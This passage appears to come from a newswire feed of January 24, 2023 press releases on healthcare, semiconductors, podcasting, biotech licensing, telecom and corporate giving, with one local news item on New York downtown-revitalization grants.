to meet investor demand and provide investment opportunities that align with their clients' ESG preferences and personal values."



"We are pleased to support the 2022 RIA Investor Opinion Survey," said Eric Landry, Vice-President, Investment Solutions at Desjardins Investments. "It's a valuable tool that confirms the importance of focusing our efforts on advisor education and greenwashing prevention." "We are proud to once again sponsor a survey that inspires dialogue about RI, while covering timely topics like biodiversity and greenwashing," said Judy Goldring, President and Head of Global Distribution at AGF Management Limited. "We are encouraged by the ongoing interest in responsible investing and are committed to ensuring the advisors we work with have the resources they need to engage in informed discussions with their clients."

Additional Highlights: Most respondents are interested in RI, with 64% expressing interest. Younger respondents generally are more interested than those aged 55+, while female respondents are more interested than their male counterparts.

70% of respondents know little or nothing about RI, including one-quarter that have never heard of it. Levels of RI knowledge have flattened off in the past 2 years.

Looking ahead, 40% of respondents said they were now more likely to choose RI than one year ago, while 44% said they were neither more nor less likely than one year ago.

The topic of biodiversity loss resonated with respondents. The majority of respondents were concerned about biodiversity loss, with 74% saying they were either very or somewhat concerned. Additionally, 68% of respondents agreed that it was either very or somewhat important that companies are committed to preventing biodiversity loss.

Investors are concerned about greenwashing in the investment industry. 75% of respondents said they were either very or somewhat concerned about greenwashing, similar to the level expressed in 2021. Meanwhile, 78% of respondents either strongly or somewhat agreed that there needs to be increased regulation and scrutiny in the investment industry to combat greenwashing. View the full report here. About the RIA Investor Opinion Survey The RIA publishes the RIA Investor Opinion Survey annually to track individual investors' perspectives on responsible investment and various environmental, social, and governance (ESG) issues. The 2022 Survey is based on data collected by Ipsos from 1,005 Canadian individual investors between November 2nd and November 8th, 2022. Investors are defined as individuals who currently own investments such as mutual funds, exchange-traded funds, stocks, bonds, or other securities. The poll has a Bayesian credibility interval of 3.5%. About the Responsible Investment Association (RIA) The RIA is Canada's industry association for responsible investment. The RIA's membership includes asset managers, asset owners, advisors, and service providers who support its mandate of promoting responsible investment in Canada's retail and institutional markets. RIA institutional members collectively manage more than $42 trillion in assets. Learn more at www.riacanada.ca. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005278/en/

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[January 24, 2023] Shields Health Solutions and Phoenix Children's Partner to Establish Specialty Pharmacy Services

Shields Health Solutions (Shields), the nation's premier specialty pharmacy accelerator, announced today that it has partnered with Phoenix Children's, one of the fastest-growing pediatric healthcare systems in the country, to develop a new specialty pharmacy program. The collaboration will provide patients who have complex, chronic conditions easier access to specialized pharmacy services designed to lower costs, expand treatment options, enhance medication management, and improve overall health. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005249/en/ The partnership between Phoenix Children's and Shields will initially serve patients with cystic fibrosis, with plans to expand to additional patient populations. Now, specialty pharmacy liaisons will guide patients and caregivers who fill prescriptions with Phoenix Children's and will work with patients on-site. Among other things, these liaisons can assist patients and families with navigating barriers to care, such as health insurance prior authorizations or securing financial assistance. Expanded patient support services, combined with access to recently approved and newly available specialty medications, will give Phoenix Children's patients greater availability for onsite treatment options. Shields currently partners with more than 75 health systems around the country and has helped their patients reduce co-pays, promptly receive medication delivery - often within two days - and improved medication adherence greater than 90 percent on average. "Specialty pharmacy services provide challenges for all patient populations, but pediatric patients have unique needs that require tremendous support," said John Lucey, CEO at Shields. "We are proud to provide that support for patients at Phoenix Children's and help them achieve the best possible health outcome." One of the nation's largest pediatric health systems, Phoenix Children's has been ranked by U.S. News and World Report as one of the "Best Children's Hospitals" in the country for twelve consecutive years. The health system has also earned recognition as he top children's hospital in Arizona for two consecutive years. As Arizona's only pediatric health system and a leader in the Southwest, Phoenix Children's advances hope, healing and the best healthcare for every child and family.



"Through our partnership with Shields, we are establishing premier specialty pharmacy services that will allow us to enhance the world-class care we provide our communities," said Mike Meekins, vice president and chief pharmacy officer at Phoenix Children's. "These new services allow for additional opportunities to improve care continuity for our patients while also reducing the administrative and financial burdens that can sometimes accompany these critical medications." About Shields Health Solutions

Shields Health Solutions (Shields) is the premier specialty pharmacy accelerator in the country. The Shields Performance Platform, an integrated set of solutions, services and technology, is intentionally designed to elevate payer and drug access for specialty pharmacies, elevate health outcomes for complex patients, and elevate growth throughout the entire health system. As the foremost experts in the health system specialty pharmacy industry, Shields has a proven track record of success including access to over 80 percent of all limited distribution drugs (LDDs) and most (health insurance) payers in the nation; and a clinical model proven to lower total cost of care by 13%. In partnership with more than 70 health systems across the country through national-scale collaboration, Shields has a vested interest in delivering measurable clinical and financial results for health systems. For more, visit our blog and follow us on social media, @ShieldsRX, LinkedIn, Facebook, and YouTube.

About Phoenix Children's

Phoenix Children's is one of the nation's largest pediatric health systems. It comprises Phoenix Children's Hospital - Thomas Campus, Phoenix Children's Hospital - East Valley at Dignity Health Mercy Gilbert Medical Center, five pediatric specialty and urgent care centers, 11 community pediatric practices, 20 outpatient clinics, two ambulatory surgery centers and seven community-service-related outpatient clinics throughout the state of Arizona. The system provides world-class inpatient, outpatient, trauma, emergency and urgent care and has been serving children and families for 40 years. Phoenix Children's Care Network includes more than 1,175 pediatric primary care providers and specialists who deliver care across more than 75 subspecialties. For more information, visit phoenixchildrens.org. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005249/en/

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[January 24, 2023] Guerrilla RF Releases New Low Noise Gain Blocks Targeting Automotive Sirius XM Satellite Radio Applications

Guerrilla RF, Inc. (OTCQX: GUER) announces the formal production release of the GRF4012 and GRF4012W, two broadband gain blocks offering a unique blend of noise and linearity performance over exceptionally wide bandwidths. By accentuating a critical balance between the products' gain, noise figure, linearity, and compression performance, Guerrilla RF developed a core tailored specifically for satellite radio applications. When paired with the GRF2073W and Qualcomm Technologies, Inc.'s latest SAW filters, the devices provide a formidable, cost-effective solution easily meeting Sirius XM blocking requirements. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005173/en/ Guerrilla RF releases two new low noise gain blocks targeting automotive Sirius XM satellite radio applications. When paired with the GRF2073W and Qualcomm Technologies, Inc.'s latest SAW filters, the devices provide a formidable, cost-effective solution easily meeting Sirius XM blocking requirements. (Graphic: Business Wire) "These new gain blocks are representative of our constant efforts to push the performance envelope of our amplifier portfolio. What really excites us about this design is its application within the automotive industry. In today's world, there's a constant need for affordable, on-the-move connectivity," says Ryan Pratt, CEO and founder of Guerrilla RF. "This necessitates application solutions meeting the cost, power consumption, and reliability demands of our automotive customers while providing best-in-class performance. Through our collaborative efforts with Qualcomm Technologies, we're creating compelling front-end solutions leveraging the strengths of our extensive LNA and gain block portfolios. We constantly evolve these product offerings in response to the ever-changing advancements in filter technology. Doing so ensures we'll continue to offer the very best blend of performance and affordability for our automotive customers." The GRF4012 and GRF4012W can be tuned to operate within a variety of bands between 0.4 and 4.2 GHz. While operating at 2332.5 MHz (the center of the SDARS band), each device delivers 17.8 dB of gain, 33 dBm of OIP3 linearity, a compression level of 22.5 dBm, and a noise figure of 0.9 dB while only drawing 50 mA of current. As with other devices within Guerrilla RF's automotive portfolio, the GRF4012W variant has undergone additional qualification steps, ensuring the device is compliant with the stringent AEC-Q100 requirements demanded by the automotive market.



Each variant comes in a pin-compatible 1.5 mm x 1.5 mm, 6-pin package. GRF now has over 25 low noise amplifiers, gain blocks and driver cores utilizing this same package and pinout, allowing customers to quickly modify and optimize their designs for different frequencies as well as various levels of gain, noise figure, linearity, compression, and power dissipation. This modular approach has proven to be extremely popular with GRF's customer base since it provides an exceptional degree of design latitude, translating directly into design speed and agility. Pricing and Availability

Samples and evaluation boards are available for the GRF4012 and GRF4012W. Prices start at $0.64 and $0.72, respectively (10,000-up, EXW USA). Visit https://www.guerrilla-rf.com/products/detail/sku/4012 and https://www.guerrilla-rf.com/products/detail/sku/4012W for additional details. About Guerrilla RF, Inc. Founded in 2013 and based in Greensboro, NC, Guerrilla RF develops and manufactures high-performance monolithic microwave integrated circuits (MMICs) to wireless OEMs in multiple market segments - including 5G/4G macro and small cell base stations, cellular repeaters/DAS, automotive telematics such as SDARS/V2X/GPS/DAB, military communications, navigation, and high-fidelity wireless audio. Guerrilla RF has an extensive portfolio of over 100 high-performance radio frequency (RF) and microwave semiconductor devices. The existing product line includes ultra-low noise amplifiers, gain blocks, driver amplifiers, mixers, RF switches, digital step attenuators (DSAs), and linear power amplifiers (PAs) - the critical building blocks for mission-critical, performance-driven wireless applications. To date, the company has shipped over 150 million devices and has repeatedly been included in Inc. Magazine's annual Inc. 5000 list. Guerrilla RF recently made the top Inc. 500 list for the second year in a row, coming in at No. 421 and 489 for the 2020 and 2021 rankings, respectively. For more information, please visit https://guerrilla-rf.com or follow the company on Twitter and LinkedIn. Forward-Looking Statements This press release may contain forward-looking statements within the meaning of Section 21E of the Securities Exchange Act of 1934 and the Private Securities Litigation Reform Act of 1995, which statements are inherently subject to risks and uncertainties. Forward-looking statements include projections, predictions, expectations, or beliefs about future events or results or otherwise are not statements of historical fact. Such statements are often characterized by the use of qualifying words (and their derivatives) such as "expect," "believe," "estimate," "plan," "project," "anticipate," or other statements concerning opinions or judgments of the company and its management about future events. You should not place undue reliance on forward-looking statements because they involve known and unknown risks, uncertainties, and assumptions that are difficult or impossible to predict and, in some cases, beyond the company's control. Actual results may differ materially from those in the forward-looking statements as a result of a number of factors, including those described in the company's filings with the SEC available at www.sec.gov. Forward-looking statements speak only as of the date they are made. The company undertakes no obligation to revise or update information in this release to reflect events or circumstances in the future, even if new information becomes available. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005173/en/

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[January 24, 2023] Soundrise Hires Industry Veteran Jay Green to Lead Strategy and Growth in 2023

Longtime Podcast Evangelist Brings Over 21 Years of Experience, Sets the Stage for Enormous Growth in Podcast Advertising PHOENIX, Jan. 24, 2023 /PRNewswire/ -- Soundrise, the premier revenue-focused partner for mission-driven, independent podcasting, today announced that Jay Green has joined as Senior Vice President of Strategy & Operations along with previous Kantar VP, Lovlyn Corbett , who will be the new Director of National Accounts. After spinning off from the successful public media advertising company Market Enginuity in late 2022, Soundrise has made strides in podcast advertising, supporting some of the most popular podcasts distributed by PRX. A leader in the audio industry and specifically podcasting for more than two decades, Jay brings an extensive track record of building and scaling teams, driving revenue growth, and fostering industry-leading partnerships and thought leadership to Soundrise. Previously the Senior VP, Podcast Strategy and Operations at Audacy-owned podcast studio Cadence13, Jay has been a longtime champion of podcasting, with proven experience and industry relationships. As one of the first partners for much of the evolving tech and data in the space including Nielsen's Podcast Listener Buying Power, Claritas, IRI Kantar MWB, Jay brought national brand recognition to podcasting. At Soundrise, he will help shine that light on independent creators and create greater value for both brands and advertisers. Soundrise also strengthens its sales engine with the addition of Lovlyn, who will work to connect values-aligned brands with premium podcasts to help achieve marketing goals. "Podcasting has seen incredible growth in what we can do to tie rands and creators together. Soundrise has prioritized the independent creators who are doing what they love and entertaining us all. Creators, advertisers, and listeners all deserve a rewarding experience, and Soundrise has an achievable vision of how to create this ideal ecosystem," said Jay Green, the new SVP of Strategy & Operations at Soundrise. "The future of this industry depends on our ability to foster independence and content diversity, and I'm excited to help Soundrise push the boundaries of what we can do with audio."



On the advertising side, Jay started his journey persuading brand managers to dip their toes into a relatively new form of advertising through podcasts, and quickly turned accounts into full-fledged advertising budgets comparable to traditional forms of media. His work has resulted in sponsorship deals being secured on the largest scale with first-time brand advertisers such as American Express, Walmart, Guitar Center, and Bose. In another industry first, Jay helped to execute CPG measurement campaigns with a Fortune 500 Company, Claritas, and IRI. Now at Soundrise, Jay will look to uncover what firsts can be accomplished in the world of independent podcasters. "With his background, Jay has both the creativity and industry experience to bridge the gap between the largest advertisers and the niche creators. The podcast industry is at an exciting inflection point with incredible opportunity ahead for independent creators and mission-driven audio. As we get into this next phase, Jay's history and success navigating the industry from the very beginning will be an invaluable asset to our partners," said Harry Clark, CEO of Soundrise. "On the sales side, Lovlyn brings experience working alongside some of the largest brands and advertisers in the audio space. Their combined expertise will help evolve our strategies and scale our operational capacity to grow the company, helping creators, advertisers, and listeners alike."

Previously a Vice President at Kantar, Lovlyn Corbett crafted solutions for west coast ad agencies, marketers, and adtech, including some of the largest brands in the world like Amazon, Mazda, Intel, and Disney. Before that, she spent 10 years on the audio side with Nielsen Audio, turning audio measurement and audience metrics into actionable insights for radio stations. She brings expertise in optimizing advertising effectiveness to ensure Soundrise customers are getting the most out of their advertising spend, while truly understanding what makes a strong audio campaign. About Soundrise Soundrise is the premier revenue-focused partner for mission-driven, independent podcasting, delivering dedicated sales and marketing to connect a diverse array of creative voices with values-aligned brands. A spinoff of the industry-leading public media sales team at Market Enginuity, Soundrise is an alliance of non-profit and independent podcast networks, representing shows that open eyes, change perspectives, and shape worlds. Soundrise connects them with brands who celebrate creativity and innovation  offering marketers access to premium audio inventory at scale, while allowing unique storytellers to thrive in the competitive digital audio industry. To learn more visit wearesoundrise.com . View original content:https://www.prnewswire.com/news-releases/soundrise-hires-industry-veteran-jay-green-to-lead-strategy-and-growth-in-2023-301728550.html SOURCE Soundrise

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[January 24, 2023] Amolyt Pharma Announces Research Agreement and Licensing Option with XOMA

Amolyt to advance pre-clinical development of anti-PTHR1 monoclonal antibodies as potential treatments of primary hyperparathyroidism (PHPT) and humoral hypercalcemia of malignancy (HHM)

Amolyt has obtained the option to license one or more candidates from XOMA for further clinical development worldwide PHPT and HHM are rare endocrine diseases with high unmet needs and these candidates from XOMA represent a natural expansion of Amolyts current development pipeline LYON, France and CAMBRIDGE, Mass., Jan. 24, 2023 (GLOBE NEWSWIRE) -- Amolyt Pharma (Amolyt, Amolyt Pharma or the Company), a global company specialized in developing innovative therapies for rare endocrine and related diseases, today announced that the Company has entered into a research agreement and licensing option with XOMA Corporation (XOMA) for the pre-clinical evaluation of a select set of monoclonal antibodies that arose from XOMAs legacy discovery efforts as potential treatments for primary hyperparathyroidism (PHPT) and humoral hypercalcemia of malignancy (HHM). Amolyt has the option to license one or more of these candidates from XOMA for further clinical development worldwide. Both PHPT and HHM are rare endocrine diseases with high unmet needs and a common target, the parathyroid hormone 1 receptor (PTHR1), and are characterized by the hypersecretion of parathyroid hormone (PTH) and parathyroid hormone-related peptide (PTHrP), respectively, resulting in continuous stimulation of the PTHR1, leading to bone loss, hypercalcemia and hypophosphatemia. The objective of the research agreement is to test the anti-PTHR1 antibodies in relevant animal disease models with the aim of selecting a candidate that can successfully halt the over-stimulation of the PTHR1 caused by excess PTH and PTHrP and eliminate the debilitating symptoms and serious complications associated with PHPT and HHM. We are continuing to build our portfolio for rare endocrine and related diseases while moving, in parallel, our lead program for hypoparathyroidism into a pivotal trial. This new program for primary hyperparathyroidism and humoral hypercalcemia of malignancy represents a natural expansion of our pipeline and leverages our clinical expertise in the field of calcium and bone metabolism and in the biology of parathyroid hormone and its receptor, stated Thierry Abribat, Ph.D., chief executive officer of Amolyt Pharma. We look forward to advancng this pre-clinical work and, if successful, entering into a license agreement with XOMA in order to bring the program to patients, to expand our development pipeline and to establish more opportunities for long-term value creation, Dr. Abribat concluded.



Brad Sitko, chief investment officer of XOMA, added, Given Amolyts established expertise in rare endocrine disorders, and specifically diseases stemming from dysregulation of PTH, we believe they are a great partner to advance the development of these promising antibodies. We look forward to watching Amolyts progress, as PHPT and HHM patients are underserved by current standards of care. About Primary Hyperparathyroidism (PHPT)

Primary hyperparathyroidism involves excessive PTH production due to enlargement of one or more of the parathyroid glands located at the front and base of the neck that leads to hypercalcemia. Excess serum calcium affects multiple body systems including the skeletal, gastrointestinal, renal (kidney), muscular, cardiovascular, and central nervous systems. Most commonly, primary hyperparathyroidism is seen in people over 60 years of age and is more common in women. Radiation to the head and neck increases the risk of developing the disease as does rare parathyroid carcinoma. In approximately 85% of cases, PHPT is caused by a single adenoma. In approximately 15% of cases, multiple glands are involved (either multiple adenomas or hyperplasia) and management of the disease is more challenging. Prevalence is estimated at ~233/100k women and 85/100k men.

About Humoral Hypercalcemia of Malignancy (HHM)

Approximately 20% of all cancer patients develop hypercalcemia during their clinical course, and 80% of those cases are caused by excessive secretion of PTHrP from tumor cells (HHM). Squamous cell carcinomas of the head, neck, esophagus and lung, and cancers of the cervix, lung and colon are most commonly involved, in addition to renal cell, bladder, breast, endometrial, and ovarian cancers. It is associated with a wide spectrum of symptoms including nausea, vomiting, anorexia, abdominal pain, constipation, polyuria, hypotension, bone pain, bone loss fatigue and confusion. Renal failure or coma can occur; thus, this condition may be considered an oncologic emergency. Current standard of care is focused on bone anti-resorptive therapy, and intravenous hydration to enhance urinary calcium excretion. However there are many limitations to available therapy and unwanted effects include fever, bone pain, renal toxicity, hypocalcemia, and osteonecrosis of the maxilla and mandible. A better tolerated systemic therapy that directly targets the interaction between PTHrP and the PTHR1, rather than the downstream effect on bone resorption, has the potential to provide a safer, more effective alternative. Based on a prevalence study in the United States, HHM represented about 57,000 cases in 2013. About Amolyt Pharma

Amolyt Pharma, a clinical stage biotechnology company, is building on its teams established expertise to deliver life-changing treatments to patients suffering from rare endocrine and related diseases. Its development portfolio includes eneboparatide (AZP-3601), a long-acting PTH1 receptor agonist as a potential treatment for hypoparathyroidism, and AZP-3813, a peptide growth hormone receptor antagonist for the potential treatment of acromegaly. Amolyt Pharma aims to further expand and develop its portfolio by leveraging its global network in the field of endocrinology and with support from a strong syndicate of international investors. To learn more, visit https://amolytpharma.com/ or follow us on Twitter and LinkedIn. Media inquiries:

Jordyn Temperato

LifeSci Communications

[email protected] Investor inquiries:

Ashley Robinson

LifeSci Advisors, LLC

[email protected]

+1.617.430.7577



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[January 24, 2023] Teleperformance USA Supports Educational Programs for More Than 17,000 Children Across the United States

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The U.S. operation of Teleperformance, the global leader in outsourced customer and citizen experience management and related digital services, today announced that it provided educational support for more than 17,000 students in the United States with equipment, supplies, and emergency disaster relief assistance through its Citizen of the World (COTW) program in 2022. Teleperformance USA (TPUSA) works closely with its partners to positively impact local communities through fundraising, in-kind donations, and volunteer work. Teleperformance employees provided 1,000 backpacks for many Title I schools across the country through recurring payroll contributions. Each backpack contained school supplies and personal hygiene products. Schools that received these contributions included: West Elementary School, Boise, Idaho

Morningside Elementary School, Port St. Lucie, Florida

North Broward Academy, North Lauderdale, Florida

Thomas Jefferson Elementary School, Hammond, Indiana

Harker Heights Elementary School, Killeen, Texas In Harker Heights Elementary School, TPUSA delivered backpacks and pallets of plastic folders and dry-erase markers which teachers need to conduct their classes. "I want to thank Teleperformance from the bottom of my heart," said Natalie Kushner, Principal, Harker Heights Elementary School. "The school supplies and the backpacks that were donated were such a blessing! We are touched by the kind act that Teleperformance performed today. The staff and students of Harker Heights are honored to have such a great partnership and we could not be more thankful!" TPUSA strongly believes in investing in education. Employees from the company donated 10 new computers to the Northeast Tennessee and Southwest Virginia YWCA Tech Gyrls, an after-school program for 4th - 8th grade girls. The girls are provided transportation to and from the YWCA, assistance with homework, nutritious snacks, mentoring, volunteer experiences, and many STEM-based activities throughout the school year. Similarly, Teleperformance in Augusta, Georgia donated educational items and toys for Christmas through their Goodwill Holiday Toy Program. For employees in Warren, Michigan supporting education also meant giving inspiration to students to achieve their dreams. Employees volunteered to give informative talks on career development with the 8th grade classes of Larson Middle School, urging them to study in areas that they are passionate about.



Though unexpected events can happen, education shouldn't stop when disasters strike. After Hurricane Ian damaged many communities in Florida, TPUSA sent three disaster relief trucks consisting of 2,500 kids disaster backpacks to aid in the comfort and recovery of affected children throughout communities in Gainesville, Homestead, Fort Myers, and Wauchula in Florida. These backpacks contained hygiene and safety items, plush toys, colored pencils, pencil sharpeners, a spiral notebook, and a coloring book called "The Comfort Quilt". The book featured illustrations for children to color which they can share with adults or teachers to promote conversation and understanding of a child's thoughts and emotions. TPUSA also partnered with the Granite Education Foundation (GEF) which strives to improve educational outcomes by strengthening the Granite School District community in Salt Lake City, Utah. The donations support GEF programs that provide food assistance, student aid and support to educators. This includes annually recognizing 10 outstanding educators with classroom grants and school supplies. This year, Teleperformance donated $2,388, as well as a $20,000 anonymous donation, to the Alan Truitt Force of Good which supports GEF.

TPUSA's goal is to remove barriers and biases to promote a culture of inclusivity. Employee Engagement promoted an online donation campaign in support of the Autism Society of America and raised $366, with 31 percent of all donations going towards education. Another social media donation campaign raised $1,035 for a charity geared to help people with autism. TPUSA pledges to always fulfill its corporate social responsibility and make sure that it is aligned with the organization's commitment to vulnerable communities on a global scale. ABOUT TELEPERFORMANCE GROUP Teleperformance (TEP  ISIN: FR0000051807  Reuters: TEPRF.PA - Bloomberg: TEP FP), the global leader in outsourced customer and citizen experience management and related digital services, serves as a strategic partner to the world's largest companies in many industries. It offers a One Office support services model, including end-to-end digital solutions, which guarantee successful customer interaction and optimized business processes, anchored on a unique and comprehensive high-touch, high-tech approach. Nearly 420,000 employees based in 88 countries support billions of connections every year in over 265 languages across 170 markets in a shared commitment to excellence as part of the "Simpler, Faster, Safer" process. This mission is supported using reliable, flexible, and intelligent technological solutions and compliance with the industry's highest security and quality standards based on Corporate Social Responsibility excellence. In 2021, Teleperformance reported consolidated revenue of 7.115 million (US $8.4 billion, based on 1 = $1.18) and a net profit of 557 million. Teleperformance shares are traded on the Euronext Paris market, Compartment A, and are eligible for the deferred settlement service. They are included in the following indices: CAC 40, STOXX 600, S&P Europe 350, MSCI Global Standard, and Euronext Tech Leaders. In the area of corporate social responsibility, Teleperformance shares have been included in the CAC 40 ESG since September 2022, the Euronext Vigeo Euro 120 index since 2015, the EURO STOXX 50 ESG index since 2020, the MSCI Europe ESG Leaders index since 2019, the FTSE4Good index since 2018, and the S&P Global 1200 ESG index since 2017. For more information: www.teleperformance.com Follow us on Twitter: @teleperformance PRESS RELATIONS

Americas and Asia-Pacific

Mark Pfeiffer

TELEPERFORMANCE

Tel: + 1 801-257-5811

[email protected] View original content to download multimedia:https://www.prnewswire.com/news-releases/teleperformance-usa-supports-educational-programs-for-more-than-17-000-children-across-the-united-states-301728656.html SOURCE Teleperformance

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DUNKIRK - To hear Lancaster Mayor Lynne Ruda tell it, there's no shortage of ideas about how to use the $4.5 million in downtown redevelopment funds the village is receiving from the state.

The village is considering projects such as a hub for non-automotive transportation, extending the Central Avenue streetscape northward and improvements to buildings including the Lancaster Opera House and a vacant Masonic Temple.

A committee composed of state and local representatives will evaluate all the ideas and determine how the $4.5 million will be used, Ruda said.

"We needed to put projects forth for the proposal, so we have a good idea already," she said. "But we're open to ideas for other projects that might come forth, now that we have funding."

Lancaster and the Village of Wellsville were among the first-ever recipients of funding awards under the state's New York Forward program, which aims to support smaller and rural communities.

Gov. Kathy Hochul announced the awards on Monday, when she also disclosed the city of Dunkirk will receive a $10 million Downtown Revitalization Initiative award.

Ruda said the $4.5 million in state funding will build on other recent improvements in the village.

"We have put a tremendous amount of investment into the Village of Lancaster downtown core," she said. "The West Main Street extension project was a catalyst for development that we hadn't seen in decades," such as new retail and housing.

Other recent improvements include roundabouts and a new park, she said.

"We've shown New York state that we are willing to do the work, that we're capable of completing viable projects and that we're able to find other funding sources to help support it," Ruda said.

Plans call for using the $4.5 million to kick start to the projects, and identify other funding sources to help bring them to completion, she said.

A series of fires in the 1960s devastated many buildings in Lancaster's central core, and the business district remained stagnant for years, Ruda added.

"Growing up in the community, my memories are of vacant storefronts, empty streets, empty parking lots," she said. "I remember looking through the chain link fence thinking, 'We deserve so much more than this, we have so much potential,' but we couldn't see the path forward."

The New York Forward award recognizes the different needs that smaller communities have, Ruda said.

"This funding is going to provide us with the opportunity to be a beacon for the rest of New York state, to show how a community that has fallen on hard times can uplift themselves," she said. "We'll show them the path, and we'll show that it's possible."

Hochul said the funding awards put a spotlight on revitalizing the state's smaller cities and communities.

"Every community, regardless of size, regardless of population, matters to me," she said.

Wellsville Mayor Randy Shayler said the Allegany County village, with a population of 4,500, endured difficult economic times in the last five years.

"Our largest employer left town," Shayler said. "Our largest retailer left town. And that left behind what created a cloud of unknown, uncertainty, fear in some cases. There was more than one person who asked me if my job was going to be to turn the lights out."

Wellsville responded to the adversity by creating the Wellsville Development Corp. and launching other economic development efforts, he said. And now there are signs of recovery.

A Texas-based manufacturer will fill part of the former Dresser Rand facility, and the retailer Runnings will revitalize a former Kmart.

Dunkirk Mayor Willie Rosas said his city is "ready to take that giant step to become a destination here in Western New York," aiming to draw visitors from Ohio and Pennsylvania.

Dunkirk is contemplating projects including an indoor water park, improvements to the marina and a downtown presence for Jamestown Community College.
[January 24, 2023] iQmetrix's Carrier Connect Reinvents the Painful Device Activation Experience

iQmetrix, North America's leading telecom experience platform, has today launched Carrier Connect-a brand-new solution that promises to transform the activation experience and is unique on the market. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005274/en/ iQmetrix, North America's leading telecom experience platform, is today launching a brand-new solution that promises to completely reinvent the activation experience-Carrier Connect. Image: iQmetrix Whether you're a wireless retail operator, a store associate, or a customer buying a new device, the activation process is infamous for being slow and clunky. And for device retailers who don't have a designated carrier-such as big-box stores and handset manufacturers-the combination of this poor experience and the challenges of creating carrier relationships means many are not currently activating the devices they sell, even if they want to. As Jason Raymer, iQmetrix's Senior Vice President of Revenue and Client Experience, succinctly put it, "In today's wireless retail space, you're either not offering activations at all, or you're doing it badly." That's why iQmetrix is launching a brand-new product that completely reinvents the activation experience. Carrier Conect is a unique software-as-a-service solution that offers retailers a simple, frictionless way to activate devices with Tier-1 US carriers.



Carrier Connect has been designed to eliminate swivel-chair and multiple data-entry processes, which: significantly reduces transaction time

removes data errors and inconsistencies

lowers training costs and increases agent competency

creates more space for customer engagement and upselling

greatly improves customer experience and boosts loyalty In a demo environment, the start-to-finish time for activating a device using Carrier Connect was well under 10 minutes, including generous time built in for agent-customer interactions and data gathering. That's down from a typical 45 to 60 minutes in most wireless retail environments.

Stacy Hamer, Chief Operating Officer at iQmetrix, said, "We couldn't be more excited to launch Carrier Connect and enable quick and seamless device activation experiences in multi-carrier retail environments. The days of losing your customers' loyalty by putting them through painful, long activation processes are finally over." Carrier Connect offers direct and maintenance-free connections to all Tier-1 US carriers through a single set of consolidated API integrations. There's a self-guided user interface that is consistent, reliable, and highly secure. Carrier Connect caters for self-serve or assisted channels alike to enable omnichannel experiences. It also has the advantage of keeping the retailer and store reps up to date on rate plans, promotions, financing options, and device protection-all in real time. There are three different options for implementing Carrier Connect, ranging from a standalone portal to an embedded user interface to an API library integration. The experts at iQmetrix can work with retailers to establish which option would work best for their business. iQmetrix's Jason Raymer said, "The only question to ask is: what proportion of your smart device sales do you want to activate? We can work with the retailer on this strategy." Carrier Connect is unique in that it is the only multi-carrier device activation solution on the market. In fact, its only competition is some national retail brands' own in-house systems, which do not offer many of Carrier Connect's benefits, connectivity, and established carrier relationships-and usually come with high maintenance costs and support teams. Raymer added, "For a device retailer wanting to enter into the wireless activation business, Carrier Connect can enable that in a way that no other software provider can." Whether a retail business is already activating devices or not, it's time to start offering a seamless, enjoyable, and fast activation experience-and the only way to do that is with Carrier Connect. For more information, visit iQmetrix's Carrier Connect page. About iQmetrix iQmetrix's telecom experience platform is designed to power sales of connected devices. Our software is built around enabling telecom retailers to deliver a buy-anywhere strategy through multi-channel inventory management and digital retail solutions; make data-driven decisions using robust reporting; and unify storefronts and digital channels for a consistent customer experience-in-store, online, and anywhere else. For 23 years, we've been passionate about helping the leading brands in telecom to grow by providing best-in-class software, services, and expertise that enables them to adapt and thrive. Our solutions powered $17BN in sales last year, and are used by approximately 320,000 telecom retail professionals across 1,000 clients. iQmetrix is a privately held software-as-a-service (SaaS) company with locations in Canada, the U.S, and India. For more information, please visit www.iqmetrix.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005274/en/

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[January 24, 2023] Bluebird Network Completes Acquisition of Missouri Telecom Inc.'s Network Assets

Bluebird Network, a communications infrastructure provider and operator of two data centers and over 11,000 miles of fiber, announces the completion of its acquisition of fiber network assets from Missouri Telecom Inc. (MTI). This purchase delivers a new level of service to communities within Mount Vernon, Monett, Nevada, and Aurora, Missouri. Connecting Bluebird's ultra-reliable network to these communities opens up the full suite of new services for customers in the region, who now have access to dedicated internet, data center solutions, Ethernet connectivity and private cloud access. In addition to adding 40 miles of fiber route miles to Bluebird's network, the company also established three new Points of Presence (PoPs) in Southwest Missouri. Bluebird's vision is to have a fiber presence in 80% of communities across the company's 11-state footprint with a population greater than 10,000 people. This acquisition continues Bluebird's momentum and furthers their growth strategy across the Midwestern United States. "These network assets complement Bluebird's existing fiber footprint while bringing us closer to our long-term goals," says Michael Morey, President and CEO of Bluebird Network. "This acquisition allows Bluebird to expand and strengthen our network services, pecifically for communities in Southwest Missouri and offer those communities a new era of productivity."



Leveraging Bluebird's world-class data center facility has never been easier for the collection of Southwest Missouri communities, as Bluebird's Underground Data Center in Springfield, Missouri, is a short drive away and a powerful complement to existing fiber services. The purchase bolsters Bluebird's expansive state-of-the-art fiber footprint in the region and enables more businesses and organizations throughout the Midwest to take control of their digital transformation.

For more information about how Bluebird connects local businesses throughout the Midwest visit: https://bluebirdnetwork.com/ About Bluebird Network Bluebird Network is a communications infrastructure provider and data center operator. Since 1999, Bluebird Network, headquartered in Missouri, has provided internet and transport services, via its fiber infrastructure, to Carriers and Enterprises in Missouri, Illinois, Kansas, Iowa, and the surrounding states. Bluebird owns two data centers: an underground facility in Springfield, MO, and a facility in the Quad Cities. Bluebird operates more than 11,000 fiber route miles of high-speed broadband and fiber-optic connections with over 82,000 on-net and near-net buildings and 160 Points of Presence (PoP) sites spanning the Midwest, including the major cities of Chicago, St. Louis, Kansas City, Springfield (MO and IL), Tulsa, Peoria, Rockford, Bloomington, Normal and the Quad Cities. To learn more, please visit our website and follow us on LinkedIn, Facebook, and Twitter. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005016/en/

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[January 24, 2023] Propello Launches to Make Access to High-Quality K-12 Learning More Equitable

